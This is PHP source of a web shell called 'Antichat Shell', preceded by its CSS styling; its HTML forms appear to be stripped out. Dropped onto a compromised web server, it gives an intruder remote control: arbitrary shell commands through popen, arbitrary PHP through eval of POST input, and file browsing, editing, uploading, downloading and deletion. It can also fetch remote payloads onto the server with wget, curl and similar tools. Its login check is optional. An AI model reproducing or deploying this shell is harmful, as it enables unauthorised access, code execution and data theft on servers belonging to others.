BODY{
background-color: #2B2F34;
color: #C1C1C7;
font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;
MARGIN-TOP: 0px;
MARGIN-BOTTOM: 0px;
MARGIN-LEFT: 0px;
MARGIN-RIGHT: 0px;
margin:0;
padding:0;
scrollbar-face-color: #336600;
scrollbar-shadow-color: #333333;
scrollbar-highlight-color: #333333;
scrollbar-3dlight-color: #333333;
scrollbar-darkshadow-color: #333333;
scrollbar-track-color: #333333;
scrollbar-arrow-color: #333333;
}
input{
background-color: #336600;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}
select{
background-color: #336600;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}
textarea{
background-color: #333333;
font-size: 8pt;
color: #FFFFFF;
font-family: Tahoma;
border: 1 solid #666666;
}
a:link{
color: #B9B9BD;
text-decoration: none;
font-size: 8pt;
}
a:visited{
color: #B9B9BD;
text-decoration: none;
font-size: 8pt;
}
a:hover, a:active{
width: 100%;
background-color: #A8A8AD;
color: #E7E7EB;
text-decoration: none;
font-size: 8pt;
}
td, th, p, li{
font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;
border-color:black;
}
';
$header='
'.getenv("HTTP_HOST").' - Antichat Shell'.$style.'';
$footer='';
//error parser
$filext="File already exists.";
$uploadok="File was successfully uploaded.";
$dircrt="Dir is created.";
$dircrterr="Don't create dir.";
$dirnf="Dir not found.";
$empty="Directory not empty or access denide.";
$deletefileok="File deleted";
$deletedirok="Dir deleted";
//end error parser
//auth
if(@$_POST['action']=="exit")unset($_SESSION['an']);
if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
if(@$_SESSION['an']==0){
echo $header;
echo '';
echo $footer;
exit;}
//end auth
function createdir($dir){if(@mkdir($dir))echo $GLOBALS['dircrt']." "; else echo $GLOBALS['dircrterr']." ";}
if($_SESSION['action']=="")$_SESSION['action']="viewer";
if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
$dir=chdir($dir);
$dir=getcwd()."/";
$dir=str_replace("\\","/",$dir);
//crdir
if(@$_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
//Current type OS
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $win=1; else $win=0;
//downloader
if($action=="download"){
header('Content-Length:'.filesize($file).'');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$file.'"');
readfile($file);
}
//end downloader
//delete file
if($action=="delete"){
if(unlink($file)) $msgnotice.=$deletefileok;
}
//end delete
//delete dir
if($action=="deletedir"){
if(!rmdir($file)) $msgnotice.=$GLOBALS['empty'];else $msgnotice.=$deletedirok;
}
//end delete
?>
echo $header;?>
//shell
function shell($cmd){
if (!empty($cmd)){
$fp = popen($cmd,"r");
{
$result = "";
while(!feof($fp)){$result.=fread($fp,1024);}
pclose($fp);
}
$ret = $result;
$ret = convert_cyr_string($ret,"d","w");
}
return $ret;}
if($action=="shell"){
echo "";}
//end shell
//viewer FS
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {$info = 's';}
elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
else {$info = 'u';}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
function scandire($dir){
echo "";
}}}
if($action=="viewer"){
scandire($dir);
}
//end viewer FS
//editros
if($action=="editor"){
function writef($file,$data){
$fp = fopen($file,"w+");
fwrite($fp,$data);
fclose($fp);
}
function readf($file){
if(!$le = fopen($file, "r")) $contents="Can't open file, permission denide"; else {
$contents = fread($le, filesize($file));
fclose($le);}
return htmlspecialchars($contents);
}
if(@$_POST['save'])writef($file,$_POST['data']);
echo "";
}
//end editors
//upload
if($action=="upload"){
if(@$_POST['dirupload']!="") $dirupload=$_POST['dirupload'];else $dirupload=$dir;
$form_win=" |
|
New file name: |
|
";
if($GLOBALS['win']==1)echo $form_win;
if($GLOBALS['win']==0){
echo $form_win;
echo 'File addres:
|
';
}
if(@$_POST['uploadloc']){
if(@$_POST['filename']=="") $uploadfile = $dirupload.basename($_FILES['file']['name']); else
$uploadfile = $dirupload."/".$_POST['filename'];
if(!file_exists($dirupload)){createdir($dirupload);}
if(file_exists($uploadfile))echo $GLOBALS['filext'];
elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
echo $GLOBALS['uploadok'];
}
if(@$_POST['upload']){
if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))
switch($_POST['with'])
{
case wget:
shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");
break;
case fetch:
shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");
break;
case lynx:
shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");
break;
case links:
shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");
break;
case GET:
shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");
break;
case curl:
shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");
break;
}
}
}
//end upload section
if($action=="phpeval"){
echo "
";}
if(@$_POST['phpev']!=""){echo eval($_POST['phpev']);}
?>
echo $footer;?>